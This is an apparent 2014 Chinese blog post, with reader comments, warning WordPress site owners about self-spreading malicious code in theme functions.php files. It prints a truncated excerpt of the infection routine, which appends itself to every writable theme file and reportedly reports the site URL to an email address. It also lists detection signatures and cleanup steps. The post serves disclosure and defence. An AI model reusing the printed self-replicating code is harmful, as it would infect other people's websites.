网站建设

张戈博客惊现WordPress恶意代码,各位WP博主要注意下了!

Jager · 5月8日 · 2014年 · · 4516次已读

不经意看到了哼哼猪的 《博主们注意了!赶快检查下你的 WordPress 里面是否包含恶意代码》一文,就好奇的检查了一下,结果。。。尼玛居然还真中招了!难怪老是觉得 WP 的后台卡卡的,一点都不流畅!而且后台提交文章经常会出现 502 或 503 的无法打开页面!估计就是这玩意在作祟!

下面内容摘自原文:

代码太长放到下面,先说说此段代码的来源和危害:

此段代码来源一般是在 WordPress 主题里面自带,可能免费主题、破解主题或者收费主题,大家也不能完全抱怨主题作者,因为代码可能也不是他主动添加的,可能是他在调试其他主题是感染上的。

再来大概说说它的工作原理,首先它会存在某一主题里面,当你启用调试此主题时,这段代码可以通过遍历获得你主题目录下的所有主题里面的 functions.php,并在 functions.php 文件结尾处的最后一个“?>”处自动添加下面的恶意病毒代码,如果恶意病毒代码添加成功,它会发送你博客的 url 地址到livethemas@gmail.com(可能大家没看到这个邮箱地址的添加位置,这就是它的巧妙之处,它将 email 地址拆分转义,然后用多重变量引用,下面的代码我已经用红色标注出了此 email 地址)

危害:单单从这段代码来说,也没什么大的问题,不过因为已经感染此代码且感染网址也发给了恶意病毒代码散播者,这样你的网站可能就会有选择成为下一步攻击目标。另外如果下面的代码不完整或者你的 Mysql 有一些安全限制会导致下面代码的一些项添加不完整,导致网站打开错误,其实这也是发现问题所在的原因。

小技巧:当你制作或使用一个安全主题时,你可以在 functions.php 文件结尾处的最后一个“?>”前添加上“//所有设置已完成”,这样如果被而已添加就能很快发现!

 

如何清除此段恶意病毒代码呢:

清理也很简单,直接在 functions.php 文件里面找到下面的代码删除即可,但因为一旦感染会导致你 themes 主题目录所有主题都感染,因此你只清除当前使用主题是无效的,你清除后很快就会生成,因此你清除掉一个主题的代码后,把 functions.php 文件设置为 444 权限,然后再清理其他主题即可。至于最后 functions.php 文件的 444 权限是否需要改回去,个人建议 444 挺好挺安全的,等要修改的时候再修改就行了。

 

functions.php 里面的恶意病毒代码实例如下可能会有些差异,但基本代码是相同的):

<?php
function _verifyactivate_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
$output .= ($isshowdots && $ellipsis) ? "..." : "";
}
}
}
// 代码太长,略之!
?>

这些代码存在于 wp-content/themes 下的所有主题的所有 functions.php 文件里。

通常以下面这些函数特征出现:

function _checkactive_widgets
function _get_allwidgets_cont
function stripos
function strripos
function scandir
add_action("admin_head", "_checkactive_widgets");
function _getprepare_widget
add_action("init", "_getprepare_widget");
function __popular_posts

现场说法:

我在检查后台主题 functions.php 时发现,我的博客居然也被感染了!

首先在知更鸟主题中发现大段的恶意代码,鸟哥做主题的时候明显是加上了{全部结束}的注释。后面的多余的内容我还一直以为是 WP 自己给加上的。。。。

张戈博客惊现WordPress恶意代码,各位WP博主要注意下了!

然后,我打开了手机主题 Mobile pack 的 functions.php 看了下,发现居然也有!看来真是有传染性:

张戈博客惊现WordPress恶意代码,各位WP博主要注意下了!

二话不说,果断删除全部恶意代码

张戈博客惊现WordPress恶意代码,各位WP博主要注意下了!

检查无误后,我开始做预防措施。将 2 个主题的 functions.php 的权限设置为 444,只允许读取,不允许写入:

张戈博客惊现WordPress恶意代码,各位WP博主要注意下了!

恶意代码风波到此就告一段落了!看来以后不能随便测试主题了!像哼哼猪说的一样:大家也不能完全抱怨主题作者,因为代码可能也不是他主动添加的,可能是他在调试其他主题是感染上的。

我记录这篇博文的主要目的就是为了提醒和我一样不知情的 WordPress 菜鸟站长,赶紧检查一下你的 WP 是不是被注入饿了恶意代码!我敢说,不知情的博主,感染率估计能有 80%以上!尤其是经常换主题的博客!各位博友,赶紧检查下自己的博客,有则删之,无则预防!

53 条回应
  1. 梅春喜个人博客 2014-5-8 · 14:09

    过来赞一个

    • avatar
      Jager 2014-5-8 · 14:57

      你的也是WP,你不看下有没有被插入恶意代码?

  2. Alick.Li 2014-5-8 · 14:12

    这个必须要顶!!!赶快检查下。。。

    • avatar
      Jager 2014-5-8 · 14:57

      我觉得80%以上的都被嵌入恶意代码了,而像我和你这样喜欢换主题的更是接近100%。。。

      • Alick.Li 2014-5-8 · 16:18

        我没有被嵌入...

        • avatar
          Jager 2014-5-8 · 16:55

          看来是我RP不好。。

          • mixiuya 2016-5-17 · 10:11

            我就有这么一大段,起初还以为是自己加的 :shock: ,可实在是想不起来在哪加的了,一查原来如此。知道这是因为什么加上去的吗?我都是直接编辑网站上的文件的,本来记事本上的排版还好,有一次保存后记事本都没关直接就变成全横的了。然后就坏了

          • mixiuya 2016-5-17 · 10:12

            最后我直接换的function.php

  3. 真得检查下 [吃惊]

  4. 梦轩丽人 2014-5-8 · 21:08

    经检查,幸好我的都没有出现!

    • avatar
      Jager 2014-5-8 · 21:18

      赶紧把functions.php的权限设置为444,预防。

      • 梦轩丽人 2014-5-8 · 21:27

        不知道是不是我技术问题,我这个主题在后台根本就没有编辑功能,想修改只能下载下来修改,所以不管它了。我也不想折腾主题了。

        • avatar
          Jager 2014-5-8 · 21:28

          [吃惊] 编辑按钮好像是主题作者定义的,你的主题是自己做的,所以没有,可以网上搜下WP主题制作教程,把编辑功能加上即可。

          • 梦轩丽人 2014-5-8 · 21:36

            有机会再弄,我现在很少改动,就是今天改了一些页码,以后修改就更少了。不想再折腾了。

  5. 萌妹 2014-5-8 · 21:20

    [泪] 还没检查 代码能力有点差

    • avatar
      Jager 2014-5-8 · 21:26

      呃。。非常明显的,就是functions.php下面。。找相关的函数,如果有,那么表示中招了

      • 萌妹 2014-5-8 · 21:27

        好吧 我对照你的例子看看

  6. 龙三公子 2014-5-8 · 21:59

    还好我的不是wp

    • avatar
      Jager 2014-5-8 · 23:12

      嗯,哈哈

  7. PHP二次开发 2014-5-8 · 22:08

    为嘛刚才我电脑进的首页,却是进的手机版?

    • avatar
      Jager 2014-5-8 · 23:12

      服务器硬盘cache有点问题,主机商在修复。

  8. 三日月 2014-5-8 · 22:13

    这个搞不懂,怎么会中招的。我的不知道有没有中招

    • avatar
      Jager 2014-5-8 · 23:12

      估计中招了,我用的主题,你也用了。。

  9. APP雄起 2014-5-8 · 22:56

    代码能力太差劲了,我得对着你的图看看

    • avatar
      Jager 2014-5-8 · 23:12

      直接搜索试试,我后面给了一些特征码。

  10. APP雄起 2014-5-8 · 23:35

    貌似没有找到

  11. 2014-5-9 · 7:40

    还没注意过这个问题。

  12. 小鱼儿的家 2014-5-14 · 19:27

    刚刚查了下,我也中招了

    • avatar
      Jager 2014-5-14 · 20:27

      中招概率较高。

  13. 中网科技周鑫 2014-5-15 · 9:14

    好博客,欢迎回访,提供虚拟主机,服务器托管租用,云服务器等业务

  14. 台佳佳.中国 2014-5-15 · 10:50

    赶紧回去找找看…

  15. 台佳佳.中国 2014-5-15 · 10:53

    我的没有,其实有新版本立即更新就可以避免了吧。

    • avatar
      Jager 2014-5-15 · 10:57

      这个是主题带有的恶意代码,还会传染给其他主题,WP更新了都没有用。
      另外,你的链接没法设置么?

      • 台佳佳.中国 2014-5-15 · 11:01

        没办法 多说似乎不行

  16. leiboy 2014-5-17 · 11:31

    搞不懂这样做对放恶意代码的人有什么好处

    • avatar
      Jager 2014-5-17 · 11:35

      听说是窃取一些信息,发送到指定邮箱。。不过没发现进一步动作。

      • leiboy 2014-5-17 · 11:37

        要是我写这个,我就写潜伏代码,等博客流量大了就给弹窗,哈哈哈哈 [阴险]

        • avatar
          Jager 2014-5-17 · 11:39

          这个可以有。 [给力]

          • leiboy 2014-5-17 · 11:41

            你很坏啊 [汗]

  17. 开心一刻笑话 2014-5-17 · 15:11

    这个我倒是没发现呢

    • avatar
      Jager 2014-5-17 · 15:28

      有则删之,无则预防~记得把那个文件的权限设成444即可

  18. 糯米汇 2014-7-5 · 10:56

    我也找到了,但是不知道该删除哪里,没找到你删除的那个内容

    • avatar
      Jager 2014-7-7 · 12:46

      你找到了?你可以吧function发到群共享,我帮你看看。

      • aoi设备胡 2014-7-10 · 0:24

        请问群是多少?我也发上来帮我看看。

        • avatar
          Jager 2014-7-10 · 21:02

          344134224

  19. yyyyyyyhb 2015-2-27 · 1:00

    我的班级官网愉快地中招了

  20. 倾城 2015-3-6 · 4:32

    感谢博主!好恐怖,我说为什么我的模板函数多了一大堆莫名其妙的代码!发现你上面列举的函数特征我每条都有。再也不敢乱装主题了!(我有乱试主题的习惯)

    • avatar
      Jager 2015-3-6 · 8:46

      安装新主题之前,检查一下新主题functions下有没有恶意代码就好了。有的话就会传染给其他主题。

  21. 友邻阅读 2015-8-24 · 10:48

    请教,删除后,页面出现空白页

    • avatar
      Jager 2015-8-24 · 16:00

      把原始的functions.php发我邮箱看看,im@zhang.ge

  22. 回忆如烟 2015-10-26 · 18:58

    昨天发现也中招了 我虽然不懂PHP代码 但是我知道 一个PHP文件完全没有必要写2次开关

    百度一下 我才知道 不知道哪个死全家的弄的这个代码 坑爹

  23. 受教了,以后用网上下载的主题都要慎重啊

  24. 大碗哥 2016-5-1 · 18:42

    刚刚看到这篇文章,感谢博主提醒。整个网站都很不错,到处都是学习的精华,为你点赞